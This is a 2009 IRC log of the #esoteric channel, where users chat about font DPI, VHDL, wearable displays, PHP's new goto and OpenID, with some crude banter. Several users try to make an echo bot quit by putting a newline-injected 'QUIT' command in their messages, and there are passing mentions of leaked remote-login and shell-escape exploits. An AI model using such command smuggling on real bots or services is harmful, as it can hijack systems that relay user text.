:Hiato!unknown@unknown.invalid QUIT :"Leaving." < 1244579254 0 :Corun!n=Corun@wavelan69.doc.ic.ac.uk JOIN :#esoteric < 1244579375 0 :Corun!unknown@unknown.invalid QUIT :Client Quit < 1244579665 0 :pikhq!unknown@unknown.invalid QUIT :Read error: 54 (Connection reset by peer) < 1244581137 0 :Gracenotes!n=person@wikipedia/Gracenotes JOIN :#esoteric < 1244582057 0 :tombom_!i=tombom@wikipedia/Tombomp JOIN :#esoteric < 1244582110 0 :tombom_!unknown@unknown.invalid QUIT :Client Quit < 1244582320 0 :Corun!n=Corun@94-194-27-43.zone8.bethere.co.uk JOIN :#esoteric < 1244583015 0 :tombom!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1244583664 0 :ehird!unknown@unknown.invalid PART #esoteric :? < 1244583664 0 :ehird!n=ehird@208.78.103.223 JOIN :#esoteric < 1244583803 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :22:19:58 ehird: it appears that you searched reddit for comments mentioning Nomic. < 1244583807 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :This is false. < 1244583810 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :What gave you that idea? < 1244583817 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :23:49:52 Funny, when I make font sizes huge they look ginormous on my 16" monitor, but tiny on my .5" :P < 1244583821 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Set your dpi right, foo :P < 1244583829 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ehird: did you then search reddit for nomic comments upon warrie giving you the idea? < 1244583837 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1244583865 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :http://www.reddit.com/user/ehird/ < 1244583868 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I only see one nomic c omment < 1244583879 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric :ehird: No DPI on "I'm outputting to fucking composite" display :P < 1244583890 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR-L: Fontconfig dpi, you weetard. < 1244583905 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :It makes things Work(TM). < 1244583912 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric :Whoah, srsly? < 1244583914 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1244583926 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Gnome has a nice settings panel to set it; no fuckin' clue how you set it in the config files. < 1244583934 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Poke around fontconfig stuff and do the dpkg-reconfigure then :P < 1244583935 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :*thing < 1244583936 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric :I have no Gnome on my Beagle :P < 1244583941 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR-L: Thus what I said < 1244583970 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :02:07:04 Evidently P != NP http://arxiv.org/abs/0906.1084 < 1244583971 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :;_; < 1244583977 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1244583990 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :arxiv should rename to quaxiv < 1244584012 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :why? < 1244584022 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION prepares to snag some delicious nick somebody forgot about :P
< 1244584031 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: because half of the stuff on there is deliciously quacky < 1244584036 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :(due to being free-for-all) < 1244584041 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR-L: what about "estoppel"? < 1244584056 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, the paper does superficially look plausible < 1244584059 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ooh, I forgot about that nick < 1244584062 0 :ehird!unknown@unknown.invalid NICK :estoppel < 1244584078 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but of course that probably means it's just good at being plausibly fakse < 1244584079 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*false < 1244584089 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :02:21:35 bouncing billard balls off each other and stuff < 1244584092 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :billiard-ball machine < 1244584093 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1244584098 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :hurp hurp < 1244584120 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :02:45:47 http://3.bp.blogspot.com/_U-4kIJCjlwU/SYqA1a91R8I/AAAAAAAAA14/h-6Ye2i5pqM/s320/teacup+duck+2.JPG < 1244584121 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :02:45:49 Two ducks < 1244584122 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :one cup < 1244584217 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :06:55:57 but I don't know if you can put a whole circuit diagram in a line of text < 1244584220 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :p&~q < 1244584220 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1244584235 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :06:59:35 VHDL bans recursion, simply because it has to be sub-TC to be able to compile into hardware < 1244584245 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :VHDL's result is TC w/ infinite memory, right? < 1244584257 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :(say, it's hooked up to an infinite memory store) < 1244584282 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :07:45:09 Hahaha http://torrentfreak.com/pirate-bay-nemesis-has-name-changed-by-pranksters-090607/ < 1244584289 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :funny, but... it was a day before the elections < 1244584306 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :the conspiracist in me says "they were trying to discredit piratpartiet" < 1244584329 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric :ehirdstoppel: Holy fekking wow! That just works! < 1244584367 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :estoppel: VHDL doesn't have syntax for accessing an infinite memory store < 1244584376 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :GregorR-L: Whut? < 1244584379 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's really really hard to link VHDL up to unbounded memory, by design < 1244584383 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric :estoppel: The DPI settings. < 1244584386 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :GregorR-L: Yes. < 1244584387 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although you might be able to do it via debug input/output < 1244584390 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :GregorR-L: Yes, they do work. < 1244584401 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric :Something I'd never heard of. And it just fekking works. That's going to help my wearable a LOT < 1244584417 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :You may thank me in the form of rare IRC nickname registrations. < 1244584421 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :...or, y'know, not < 1244584426 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :That is also an option. < 1244584435 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :GregorR-L: what res is that .5" display < 1244584436 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :? < 1244584444 0 :oerjan!n=oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1244584485 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :GregorR-L: i assume decent, as a wearable computer that's blocky is useless < 1244584488 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :GregorR-L: btw can it work as a visor? < 1244584489 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :as in < 1244584496 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :you have it covering your vision and it relays a camera < 1244584503 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :(would have to be a fast-taking and high-res camera) < 1244584508 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :then you could like, overlay HUDs and shit on it < 1244584514 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :would be kick-ass < 1244584556 0 :pikhq!n=pikhq@75-106-100-121.cust.wildblue.net JOIN :#esoteric < 1244584582 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION thinks a visor with, say 0.5 s delay could lead to some hilarious situations
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ACTION reappears.
< 1244584603 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric :estoppel: 640x480 < 1244584612 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :GregorR-L: that's kind of lame < 1244584620 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :everything will be blocky and pixelated < 1244584622 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in half an inch? < 1244584628 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that's, what, about 1000 dpi < 1244584632 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :ais523: half an inch right next to your eye < 1244584634 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :it's wearable computing < 1244584643 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :640x480 is apparently more than enough for VR goggles < 1244584644 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :1600dpi, though < 1244584647 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric :estoppel: You need to lighten up, we're in 2009, not 2209. < 1244584655 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :ais523: that's some crappy vr < 1244584655 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because you can move your head in order to simulate a bigger display < 1244584660 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1244584667 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :GregorR-L: yeah < 1244584671 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :GregorR-L: is your display oled? < 1244584673 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :it should be oled. < 1244584680 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :as in, showing just 640x480 at a time, combined with head/eye movements, gives you tens of thousands of pixels in each direction < 1244584694 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :ais523: yes, but if you just stand there, everything will be very unrealistically blocky < 1244584695 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :apparently 640x480 VR goggles are good for programming with < 1244584696 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric :estoppel: I honestly don't know, I dissected it from a Myvu Crystal. < 1244584721 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :GregorR-L: you got this a while ago right? < 1244584723 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :probably not oled then < 1244584729 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :I don't know of any 1600dpi OLED display < 1244584729 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :s < 1244584733 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric :If by a while you mean a few months, then yes. < 1244584774 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :mathematica is fun < 1244584790 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric :SO IS YOUR FACE. No wait, that came out wrong. < 1244584811 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :I AGREE < 1244584836 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is in the middle of a severe thunderstorm. \o/?
< 1244584856 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric :myndzi: Hey, he said \o/ < 1244584856 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                         | < 1244584856 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                        /< < 1244584868 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric : \o/ < 1244584868 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :         | < 1244584868 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :        /< < 1244584870 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION /quit myndzi
< 1244584870 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION /quit estoppel
< 1244584885 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION \nQUIT :fuck
< 1244584888 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION \nQUIT :fuck myndzi
< 1244584888 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION \nQUIT :fuck estoppel
< 1244584901 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric :lawl < 1244584952 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION
< 1244584972 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION myndzi: you suck dicks
< 1244584972 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION estoppel: you suck dicks
< 1244584976 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :FUCK. < 1244584994 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric : Looks like I'm committed now. < 1244585007 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION myndzi ais523 myndzi estoppel
< 1244585007 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION ais523 myndzi ais523 estoppel
< 1244585016 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :seems to be straightforward substitution < 1244585022 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION myndzi \o/
< 1244585022 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION estoppel \o/
< 1244585025 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Aw. < 1244585026 0 :tetha!unknown@unknown.invalid PRIVMSG #esoteric :and it produces pretty patterns < 1244585030 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :I was hoping for a TWO-PRONGED ATTACK. < 1244585035 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Dun dun DUN < 1244585038 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION myndzimyndzi
< 1244585041 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote closed the connection < 1244585045 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ok, that dosen't trigger it < 1244585090 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :ais523: "Solve::svars: Equations may not give solutions for all "solve" variables. >>" < 1244585093 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :why does it taunt me so? < 1244585109 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric :Because it hates you. < 1244585189 0 :pikhq_!n=pikhq@75-106-100-121.cust.wildblue.net JOIN :#esoteric < 1244585200 0 :pikhq!unknown@unknown.invalid QUIT :Nick collision from services. < 1244585209 0 :pikhq_!unknown@unknown.invalid NICK :pikhq < 1244585223 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :ais523: news! news! PHP have added the flexible control structure goto! < 1244585228 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :(No; really.) < 1244585235 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :how good a goto is it? < 1244585240 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :C-good? Perl-good? asm-good? < 1244585241 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Very regular! < 1244585245 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :It's Cs. < 1244585250 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Now, the question is... < 1244585252 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :err, wow < 1244585256 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :WHO THE FUCK *ADDS* GOTO AS AN EXPERIMENTAL FEATURE TO A LANGUAGE‽‽‽‽‽ < 1244585261 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :In other news, C++ has lambda. < 1244585263 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :a high-level language doesn't need C-style gotos < 1244585264 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :AN *ESTABLISHED* LANGUAGE. < 1244585268 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Old. < 1244585271 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Perl-style, maybe < 1244585272 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Not news. Olds. < 1244585275 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :asm-style, yes if you're mad < 1244585276 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but C-style? < 1244585286 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :estoppel: Yes. < 1244585312 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :But the thing is, it's another language becoming a mess for features that don't make much sense. < 1244585313 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :LOL@ guy in agora accusing xkcd of not understanding the Game's rules. < 1244585319 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: It already was that. < 1244585326 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :estoppel: the #esoteric game takes precedence, doesn't it? < 1244585331 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... Right. *More* of a mess. < 1244585339 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric :estoppel: PHP is trying to catch up with Perl in terriblocity. < 1244585354 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Though at least C++ is doing its feature-adding vaguely sanely. < 1244585357 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :ais523: either the game never worked, or Not the Game blocks it, OR the "games can affect their playstate without you playing them" *only* applies to the Game, which is ridiculous < 1244585367 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Adding features that increase code expressiveness. < 1244585370 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :so in 2/3 possibilities— and the most likely ones— the Game is neutralized if you want it to be. < 1244585372 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: C++ just suffers from too much feature-adding, not enough (namely 0) feature-removing ;) < 1244585380 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... But come on. C-style gotos? < 1244585394 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: BTW. The anti-sec guys? Yeah; they've done it again. < 1244585403 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :http://pastebin.com/m592e1f1c < 1244585411 0 :tetha!unknown@unknown.invalid PRIVMSG #esoteric :hehe, when will php get longjumps? < 1244585422 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :i love setjmp/longjmp < 1244585428 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :they're the retarded cousin of continuations < 1244585436 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :that want so much to be like him! < 1244585459 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Oh, and it's another remote-login 'sploit. < 1244585464 0 :GregorR-L!unknown@unknown.invalid PRIVMSG #esoteric :estoppel: They're very C, though. < 1244585468 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :*Another*? < 1244585471 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Also, a 'sploit to escape from a jailed shell. < 1244585477 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :And then they go and grab themselves root. < 1244585608 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :apparently, some shared hosting people were hacked into recently via a hypervisor exploit via a SQL injection < 1244585624 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I can't really imagine quite what sort of setup you'd have to have for that to even be possible < 1244585639 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :ais523: can't some sql servers execute commands? < 1244585650 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ah, that could be it < 1244585651 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :ais523: i guess really shitty mysql permissions let them do that < 1244585654 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you'd expect the perms to lock that down < 1244585657 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :er < 1244585659 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :not neccessarily mysql < 1244585667 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :on MySQL, you'd have to go to a lot of effort to open up the perms that much < 1244585669 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :ais523: could be a bug in the server; could just be a retardedness. < 1244585674 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :also, really? < 1244585677 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :just log in as root on the mysql server < 1244585682 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :it's a hypervisor; so virtualization < 1244585687 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :they're locked-down by default, IIRC < 1244585688 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :so I guess you're given root-y stuff < 1244585693 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :so maybe the website owner's stupid < 1244585700 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes, stupid website owner was my guess too < 1244585746 0 :estoppel!unknown@unknown.invalid TOPIC #esoteric :I'm pretty sure beavers can't communicate in English via email. | http://tunes.org/~nef/logs/esoteric/ < 1244585747 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Jailbreaking. "Goody". < 1244585759 0 :estoppel!unknown@unknown.invalid TOPIC #esoteric :I'm pretty sure beavers can't communicate in English via email. | http://tunes.org/~nef/logs/esoteric/?C=N;O=D < 1244585840 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :unimaginable binary sort anti algorithms < 1244586114 0 :pikhq!unknown@unknown.invalid QUIT :Read error: 104 (Connection reset by peer) < 1244586374 0 :MigoMipo!unknown@unknown.invalid QUIT :"QuitIRCServerException: MigoMipo disconnected from IRC Server" < 1244586546 0 :olsner!unknown@unknown.invalid QUIT :"Leaving" < 1244586603 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :eek he left < 1244586653 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :who < 1244586705 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :MigoMipo < 1244586713 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although it seems i really want lifthrasiir < 1244586739 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the esotope site was down, so i thought the link MigoMipo put on the wiki was wrong < 1244586747 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but it agrees with User:Tokigun < 1244586748 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :esotope is up now :P < 1244586756 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :hm no < 1244586758 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :it just went down < 1244586759 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :how queer. < 1244587069 0 :pikhq!n=pikhq@75-106-100-121.cust.wildblue.net JOIN :#esoteric < 1244587237 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Contrarian: Brian D. Foy. Brian D. Foy. < 1244587336 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :So, what'd I miss? < 1244587360 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :YOU'LL NEVER KNOW < 1244587377 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although mainly that the esotope site is down < 1244587384 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Only that. < 1244587386 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Also two quits. < 1244587411 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Since 16:17? < 1244587498 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :... < 1244587504 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :since 22:21, when you last quit. < 1244587504 0 :oerjan!unknown@unknown.invalid TOPIC #esoteric :Till att torka gurkarna använder vi en så her björkbarkburk | logs: http://tunes.org/~nef/logs/esoteric/ < 1244587506 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :To 22:37. < 1244587516 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Use real time, bitch. < 1244587532 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION knows not if he got that right, but he tried
< 1244587558 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :estoppel, I lost my connection at xx:17. < 1244587583 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sorry, 21:17. < 1244587583 0 :estoppel!unknown@unknown.invalid TOPIC #esoteric :Til at torquer good karma AnMaster vi and the her Bjork bark burk. | http://tunes.org/~nef/logs/esoteric/ < 1244587588 0 :coppro!n=coppro@unaffiliated/coppro JOIN :#esoteric < 1244587607 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Or, if you demand specificness: 21:17Z. < 1244587639 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :estoppel: that's not particularly funny. i tried using _real_ swedish. < 1244587657 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION suspects "så" should be "sådan".
< 1244587678 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :except björkbarkburk is probably only a theoretical word < 1244587716 0 :inurinternet!n=nuri@rrcs-74-62-7-76.west.biz.rr.com JOIN :#esoteric < 1244587839 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION loves that he can log into SF with an SF url
< 1244587852 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :y'mean via openid? < 1244587872 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1244587899 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :doing so is silly, though; unless you want to use your SF login for everything < 1244587905 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :which is a weird thing to want to do < 1244587916 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I have a throwaway idbin.ca account < 1244587918 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Why is that a weird thing? < 1244587924 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but I've never got it to work < 1244587938 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :s/"så"/"så her"/ < 1244587951 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :coppro: because SF are unreliable and crappy, and centralizing your online identity around a service that doesn't even have it as a major concern is bad < 1244587990 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Compared to the other various forwards I have, that one's the easiest to type, though < 1244588043 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :coppro: ah, you have it forwarded to another openid? < 1244588048 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :that's ok then, since it's just used as a shortcut < 1244588095 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I don't think they provide OpenIDs < 1244588105 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :though I could easily be wrong < 1244588115 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Well, they shouldn't < 1244588129 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :ofc, openid is unlikely to be adopted because of Facebook Connect's (relative) dominance < 1244588132 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :bloody fb < 1244588136 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I use Launchpad as my actual provider since they were the first place at which I had an account to provide it < 1244588153 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :ew < 1244588156 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :that's just as bad :) < 1244588166 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION shrugs
< 1244588182 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :never had any issues whatsoever < 1244588258 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tried the google chrome for os x prepreprepreprealpha
< 1244588264 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :it's a lot better than the recent dev builds < 1244588268 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :so far at least < 1244588432 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh dear, a commenter on Slashdot just invented browsers as webapps < 1244588443 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :ais523: ... < 1244588445 0 :estoppel!unknown@unknown.invalid PRIVMSG #esoteric :Do link. < 1244588448 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :on the basis that you shouldn't need to download Firefox, it should just work < 1244588452 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I think he was being sarcastic though < 1244588470 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :here's the thread: http://tech.slashdot.org/comments.pl?sid=1262739&cid=28271783 < 1244588475 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pretty short atm though < 1244588489 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION starts to wonder if that might be a good idea
